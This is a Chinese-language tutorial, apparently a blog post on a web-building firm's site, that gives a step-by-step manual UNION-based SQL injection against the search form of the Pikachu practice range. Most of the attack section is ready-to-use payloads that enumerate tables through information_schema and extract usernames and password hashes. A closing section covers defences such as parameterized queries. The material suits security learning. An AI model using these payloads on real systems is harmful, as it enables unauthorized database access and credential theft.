尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

SQL注入实战:搜索型注入原理与手动联合查询攻防详解

SQL注入实战:搜索型注入原理与手动联合查询攻防详解 如果你在渗透测试或安全学习过程中总是对SQL注入的原理一知半解特别是面对搜索框这类看似“无害”的输入点时不知道如何判断注入类型、构造Payload那么这篇文章就是为你准备的。很多初学者在接触SQL注入时往往只记住了万能钥匙‘ or 11 --但遇到稍微复杂一点的场景比如搜索型注入就束手无策了。他们知道有“联合注入”也知道要用UNION SELECT但为什么有时候能成功有时候却报错为什么明明有回显却查不出数据问题的核心往往在于对“闭合”的理解不够透彻。本文将以经典的Pikachu靶场中的“搜索型注入”关卡为例带你进行一次深度复盘。我们不止步于复现攻击步骤更要拆解背后的逻辑为什么搜索型注入是字符型注入如何精准判断闭合方式UNION联合查询注入的完整链条是怎样的通过这个案例你将掌握一套可复用的、从信息探测到数据窃取的实战方法论。1. 这篇文章真正要解决的问题SQL注入是Web安全领域的“常青树”漏洞而搜索功能是网站中最常见、也最容易被忽略的风险点之一。与传统的登录框注入不同搜索型注入的SQL语句结构更为复杂通常涉及LIKE关键字和百分号%通配符。这导致许多新手在尝试常规注入Payload时频频失败进而产生挫败感。本文旨在解决以下几个核心痛点概念混淆分清数字型、字符型、搜索型注入的本质区别理解“闭合”的真正含义。手动探测方法论缺失提供一套清晰的、步骤化的手动探测流程而非依赖工具盲目测试。UNION注入链条不完整详细拆解从判断字段数、确定回显位到最终窃取数据的每一步逻辑和Payload构造技巧。靶场与实战的桥梁通过Pikachu靶场这个理想化的实验环境理解原理为应对更复杂的真实场景打下基础。读完本文你将能独立分析一个搜索框背后的SQL语句可能形态并系统性地完成一次手动联合注入攻击。2. 基础概念与核心原理在深入实战之前必须厘清几个关键概念这是后续所有操作的基础。2.1 数字型、字符型与搜索型注入SQL注入根据注入点参数被处理的方式主要分为两类数字型注入参数在SQL语句中直接被当作数字使用无需引号包裹。例如SELECT * FROM users WHERE id $id如果$id可控注入1 OR 11语句变为SELECT * FROM users WHERE id 1 OR 11语法正确。字符型注入参数在SQL语句中被单引号‘或双引号“包裹作为字符串处理。例如SELECT * FROM users WHERE username ‘$username’如果$username可控直接注入admin‘ OR ‘1’’1语句变为SELECT * FROM users WHERE username ‘admin‘ OR ‘1’’1‘。这里我们闭合了前面的引号并添加了永真条件。搜索型注入是字符型注入的一个子类但其SQL语句结构更特殊。2.2 搜索型注入的SQL语句剖析一个典型的搜索功能后端SQL语句可能如下SELECT * FROM articles WHERE title LIKE ‘%$keyword%‘$keyword用户输入的搜索词。LIKE用于模糊匹配的操作符。%通配符表示任意数量的任意字符。%$keyword%意味着在标题的任何位置包含关键词都会被匹配。关键点在于用户输入的$keyword被嵌入到了一对单引号和百分号之间。因此要注入我们必须先“逃出”这个由单引号和百分号构成的“包围圈”。这就是“闭合”的由来——我们需要用输入的内容补全SQL语句原有的语法结构使其闭合然后再插入我们自己的恶意代码。2.3 UNION 联合查询注入原理UNION操作符用于合并两个或多个SELECT语句的结果集。前提是每个SELECT语句必须拥有相同数量的列且列的数据类型相似。在注入中我们利用UNION将一个恶意的SELECT查询“附加”到原始查询之后。例如 原始查询SELECT id, title FROM articles WHERE title LIKE ‘%test%‘注入后SELECT id, title FROM articles WHERE title LIKE ‘%test%‘ UNION SELECT username, password FROM users -- %‘这样数据库就会同时返回文章列表和用户凭证并在前端一并显示出来如果存在数据回显。--是SQL注释符用于注释掉原语句中后续可能干扰我们注入的部分比如后面的单引号和百分号。3. 环境准备与前置条件为了完全复现本文的流程你需要准备好实验环境。3.1 Pikachu靶场搭建下载访问Pikachu漏洞测试平台的GitHub仓库或官网下载源码。环境你需要一个集成了PHP和MySQL的Web服务器环境。推荐使用PHPStudy、XAMPP或Docker快速搭建。部署将下载的Pikachu文件夹解压到你的Web服务器根目录例如htdocs或www。启动Apache和MySQL服务。初始化访问http://your-ip/pikachu/根据你的实际路径调整。根据页面提示点击“初始化安装”链接创建所需的数据库和表。安装成功后即可访问主界面。3.2 靶场关卡定位在Pikachu主界面左侧导航栏找到SQL-Inject-搜索型注入。这个页面模拟了一个简单的新闻搜索功能。3.3 必要工具与浏览器设置浏览器Chrome或Firefox。开发者工具按F12打开本次实战主要使用Network网络和Console控制台标签页。Burp Suite可选但推荐用于拦截和重放HTTP请求能更精细地观察和修改Payload。社区版即可。心态准备这是一个合法的、用于学习的靶场环境。所有操作仅限在此环境内进行。4. 核心流程拆解手动联合注入六步法面对一个搜索框我们将遵循以下系统性的步骤进行手动注入测试。这套方法具有通用性。4.1 第一步初步探测与异常触发目标确认是否存在注入点并初步判断注入类型。正常搜索在搜索框输入一个普通关键词如test点击搜索。观察页面正常回显。触发错误输入一个单引号‘点击搜索。预期情况页面返回数据库错误信息如“You have an error in your SQL syntax...”。这强烈表明输入被直接拼接进了SQL语句并且我们输入的‘破坏了语句结构。Pikachu靶场情况页面可能显示“暂无数据”或类似提示这属于“友好型”错误处理但注入点依然存在。我们需要更精细的探测。4.2 第二步判断闭合方式与注释目标确定原SQL语句是如何包裹我们输入的参数的并找到注释掉后续部分的方法。对于搜索型注入我们猜测语句结构为SELECT ... LIKE ‘%$input%‘。 因此我们需要构造输入使其闭合前面的‘%并注释掉后面的%‘。探测Payloadtest‘%‘ and ‘1‘‘1和test‘%‘ and ‘1‘‘2逻辑分析假设原语句为SELECT * FROM news WHERE title LIKE ‘%$input%‘输入test‘%‘ and ‘1‘‘1后语句变为SELECT * FROM news WHERE title LIKE ‘%test‘%‘ and ‘1‘‘1%‘‘%test‘我们输入的test‘闭合了前面的‘%。此时LIKE ‘%test‘这部分语法是完整的。%‘ and ‘1‘‘1后面的%‘是我们输入的第一个%‘它与后面的and ‘1‘‘1构成了新的条件。最后的%‘是原语句的结尾。由于‘1‘‘1‘恒真所以整个WHERE条件可能成立取决于数据库如何处理这个有点奇怪的语句。在Pikachu中这个Payload可能返回正常结果。输入test‘%‘ and ‘1‘‘2后语句变为SELECT * FROM news WHERE title LIKE ‘%test‘%‘ and ‘1‘‘2%‘‘1‘‘2‘恒假。如果页面返回结果与上一个Payload不同例如无结果则说明我们的注入影响了查询逻辑证实了闭合方式‘%的猜测并且and逻辑被执行。更优雅的闭合与注释 实际上我们可以用更清晰的方式test‘) --或test‘)) --等。但搜索型注入通常涉及LIKE和%所以‘%‘的闭合方式更直接。注释符--注意后面有个空格或#可以用来注释掉原语句末尾的%‘。在Pikachu中尝试test‘ --。观察页面是否正常。如果正常说明--成功注释我们无需处理后面的%‘。4.3 第三步使用 ORDER BY 判断字段数目标为UNION查询做准备确定原始SELECT语句查询了多少列字段。UNION要求前后查询的列数一致。我们通过ORDER BY子句来探测。Payload序列test‘ order by 1 --test‘ order by 2 --test‘ order by 3 --test‘ order by 4 --test‘ order by 5 --...原理ORDER BY n表示根据第n列进行排序。如果n超过了实际列数数据库会报错。当页面从正常返回变为错误或明显不同时前一个数字就是最大列数。在Pikachu中操作输入test‘ order by 5 --搜索。观察页面。如果报错或异常则尝试test‘ order by 4 --。如果order by 4正常order by 5错误则说明原始查询有4个字段。4.4 第四步确定回显位目标找出前端页面会显示原始查询结果中的哪几列。我们将把数据“注入”到这些位置。我们已经知道有4个字段。现在构造一个UNION SELECT语句用简单的数字或字符串标记每个字段的位置。Payloadtest‘ union select 1,2,3,4 --逻辑这个语句会执行两个查询1) 原始的搜索查询可能无结果2) 我们构造的SELECT 1,2,3,4。如果UNION成功页面上应该会显示我们注入的1,2,3,4这些数字。观察结果在Pikachu的搜索结果页面你可能会看到原本显示新闻标题、内容的地方出现了数字2、3等。这些出现数字的位置就是我们可以用来回显数据库信息的位置。例如如果数字2和3显示在页面上那么我们就可以把想要查询的数据放在UNION SELECT语句的第2和第3个位置。4.5 第五步获取数据库信息目标利用回显位逐步获取数据库名、表名、列名。现在我们可以把UNION SELECT中的数字替换成数据库函数或查询。获取当前数据库名Payload:test‘ union select 1, database(), 3, 4 --如果第2位是回显位database()函数返回的结果如pikachu就会显示在页面上。获取数据库中的所有表名需要查询information_schema.tables系统表。Payload:test‘ union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schemadatabase() --group_concat()函数将多行结果合并成一个字符串方便查看。执行后你可能会看到类似httpinfo,member,message,users,xss...的结果。其中就包含了我们感兴趣的用户表如users,member。获取指定表的所有列名假设我们找到了users表。Payload:test‘ union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --执行后可能会得到id,username,password,level...这样的结果。4.6 第六步提取目标数据用户名与密码目标从目标表中查询出敏感数据。现在我们知道users表有username和password列。最终Payloadtest‘ union select 1, username, password, 4 from users --这个查询会从users表中取出username和password字段并分别显示在页面的第2和第3个回显位上。至此我们完成了一次完整的、从探测到窃取数据的SQL联合注入攻击。5. 完整示例与代码实现Pikachu靶场实战让我们将上述理论在Pikachu靶场中完整走一遍。假设靶场运行在http://127.0.0.1/pikachu。5.1 第一步访问与初步测试打开浏览器访问http://127.0.0.1/pikachu/vul/sqli/sqli_search.php。在搜索框输入kobe靶场预设数据点击“搜索”。页面正常显示关于“kobe”的新闻。说明功能正常。输入单引号‘点击搜索。页面显示“暂无数据”。这是一个“友好错误”但注入点存在。5.2 第二步判断闭合与注释输入kobe‘%‘ and ‘1‘‘1搜索。页面可能返回关于kobe的结果或类似正常结果。输入kobe‘%‘ and ‘1‘‘2搜索。页面显示“暂无数据”。结论两个Payload返回结果不同证明注入点存在且我们构造的‘%‘闭合方式成功and逻辑被数据库执行。同时也说明原SQL语句末尾的%‘没有被注释仍然参与了查询。为了简化我们直接尝试注释。输入kobe‘ --注意--后有一个空格搜索。页面应正常显示kobe的结果。这说明--成功注释掉了原语句末尾的%‘闭合方式为‘。5.3 第三步判断字段数ORDER BY输入kobe‘ order by 1 --搜索。正常。输入kobe‘ order by 5 --搜索。页面报错或异常如“暂无数据”。输入kobe‘ order by 4 --搜索。正常。输入kobe‘ order by 5 --搜索。再次异常。结论order by 4正常order by 5错误因此原始查询字段数为4。5.4 第四步确定回显位UNION SELECT输入Payloadkobe‘ union select 1,2,3,4 --观察页面。你会发现原本显示新闻标题和内容的地方被数字2和3替代了。如下图所示模拟标题2 内容3 作者... 日期...结论第2和第3列是回显位。5.5 第五步获取数据库信息获取当前数据库名 Payload:kobe‘ union select 1, database(), 3, 4 --页面第2位回显位置会显示数据库名例如pikachu。获取所有表名 Payload:kobe‘ union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schemadatabase() --页面第2位会显示一长串表名例如httpinfo,member,message,users,xss...。我们关注users表。获取users表的列名 Payload:kobe‘ union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --页面第2位会显示列名例如id,username,password,level。5.6 第六步提取用户名和密码Payload:kobe‘ union select 1, username, password, 4 from users --执行后页面将直接显示users表中的所有用户名和密码密码可能是明文或MD5哈希取决于靶场设计。你可能会看到标题admin 内容e10adc3949ba59abbe56e057f20f883e ...至此敏感数据已被成功窃取。6. 运行结果与效果验证上述每一步的验证都基于页面的回显变化错误触发通过输入非常规字符‘观察页面是否从“正常”变为“错误”或“无数据”。布尔逻辑验证通过and ‘1‘‘1‘和and ‘1‘‘2‘的返回结果差异确认注入点可控。字段数验证ORDER BY n的页面状态变化点即最大有效列数。回显位验证UNION SELECT 1,2,3,4后页面上出现的数字位置。数据获取验证将回显位替换为数据库函数database()或查询语句后页面上是否显示出预期的数据库信息、表名、列名和具体数据。成功的最终标志在第六步你能够在搜索结果的标题/内容区域直接看到数据库users表中的用户名和密码字段值。7. 常见问题与排查思路在手动注入过程中你可能会遇到以下问题问题现象可能原因排查方式解决方案输入‘后页面完全空白或500错误后端开启了错误回显且SQL语法错误严重。查看浏览器开发者工具的Console或Network标签页看是否有详细的SQL错误信息。根据错误信息调整Payload。如果错误信息被屏蔽尝试更温和的探测如‘ and ‘1‘‘1。ORDER BY测试时数字很大了页面还正常1. 字段数真的很多。2. 注入点不在ORDER BY子句生效的位置。1. 继续增大数字测试直到明显变慢或报错。2. 换用UNION SELECT NULL,NULL,...递增NULL个数来测试。使用UNION SELECT NULL序列测试更安全因为NULL可匹配任何类型。UNION SELECT 1,2,3不显示数字1. 字段数判断错误。2.UNION前后查询列数不一致。3. 前端只显示第一条查询结果原始查询有结果。1. 重新用ORDER BY或UNION SELECT NULL确认字段数。2. 确保UNION前后列数相等。3. 让原始查询无结果例如输入test‘ and 12 union select 1,2,3 --。让原查询条件为假确保UNION后的查询结果被显示。这是关键技巧。知道回显位但database()不显示库名1. 函数名错误或数据库不支持。2. 回显位判断错误。3. 权限问题。1. 尝试其他函数如version()获取版本信息来测试。2. 交换UNION SELECT中回显位的位置测试。3. 在UNION SELECT中使用简单字符串如‘test‘测试。先用简单字符串确认回显位再用数据库函数。MySQL常用database(),user(),version(),version_compile_os。查询information_schema无结果1. 数据库用户权限不足无法访问系统表。2. 表名或库名大小写问题Linux下MySQL区分。3. Payload语法错误。1. 尝试查询普通表测试权限。2. 检查table_schema和table_name的值是否用引号正确包裹。3. 使用‘ or ‘1‘‘1等永真条件绕过where限制需谨慎。确保Payload语法正确。对于MySQLinformation_schema通常可访问。检查单引号闭合。数据被截断显示不全前端或数据库对单次回显长度做了限制。使用substring()或mid()函数分段读取数据。例如union select 1, substring(group_concat(table_name),1,50),3,4 ...分段查询。或者使用limit子句分次查询如limit 0,1、limit 1,1。8. 最佳实践与工程建议防御视角作为开发者理解攻击是为了更好的防御。从这次注入复盘我们可以总结出以下关键防御措施首选参数化查询预编译语句这是根本解决方案。使用PDOPHP、PreparedStatementJava、sqlite3Python等将SQL代码与数据分离。示例PHP PDO$stmt $pdo-prepare(“SELECT * FROM news WHERE title LIKE :keyword”); $stmt-execute([‘:keyword’ “%” . $keyword . “%”]); $results $stmt-fetchAll();用户输入‘会被当作字面值字符串的一部分而不是SQL语法。严格的输入验证与过滤对搜索关键词进行长度、字符类型如是否允许通配符%、_的限制。但切勿依赖黑名单过滤如简单替换‘、--这很容易被绕过。最小权限原则连接数据库的应用程序账号不应拥有DROP、FILE、GRANT等高级权限。禁止访问information_schema等系统库如果业务不需要。安全的错误处理生产环境必须关闭数据库错误回显。不要将详细的SQL错误信息直接展示给用户。使用自定义的统一错误页面。使用Web应用防火墙WAF部署WAF可以帮助过滤常见的恶意攻击Payload作为一道额外的防线。但WAF可能被绕过不能替代安全的代码编写。定期安全审计与渗透测试对代码进行人工或工具如SQLMap、Fortify的代码审计。定期进行授权下的渗透测试主动发现潜在漏洞。对于安全研究人员和学习者在合法授权范围内进行测试时也应遵循道德准则并深入理解原理而不仅仅是工具的使用。9. 总结与后续学习方向通过本次对Pikachu靶场“搜索型注入”的深度复盘我们系统性地走完了一次手动UNION联合注入的全过程从单引号探测到分析搜索型注入特殊的‘%...%‘闭合环境再到通过ORDER BY判断字段数、UNION SELECT确定回显位最后利用information_schema数据库一步步获取表名、列名并最终拖取数据。这个案例的典型性在于它完美展示了“字符型闭合”这一核心难点。很多注入失败都源于对原始SQL语句结构的猜测错误。掌握闭合就掌握了手动注入的钥匙。下一步你可以这样深化学习尝试其他注入类型在Pikachu或其他靶场如DVWA、SQLi-Labs中练习数字型注入、报错注入、布尔盲注和时间盲注。盲注在没有数据回显时至关重要。学习自动化工具原理尝试使用SQLMap对同一关卡进行测试并对比其生成的Payload与你手动构造的有何异同理解工具的自动化逻辑。研究绕过技巧了解简单的过滤如何被绕过例如大小写混淆、双写关键字、编码、注释符变种等。从攻击到防御尝试用PHP、Java或Python编写一个带有搜索功能的简单网页先故意留下注入漏洞再应用参数化查询进行修复亲身体验防御的有效性。安全之路始于对漏洞原理的深刻理解终于编写出健壮、安全的代码。建议将本文的步骤作为手册收藏在遇到类似场景时按照这个方法论一步步分析和实践你的SQL注入实战能力必将得到质的提升。
返回列表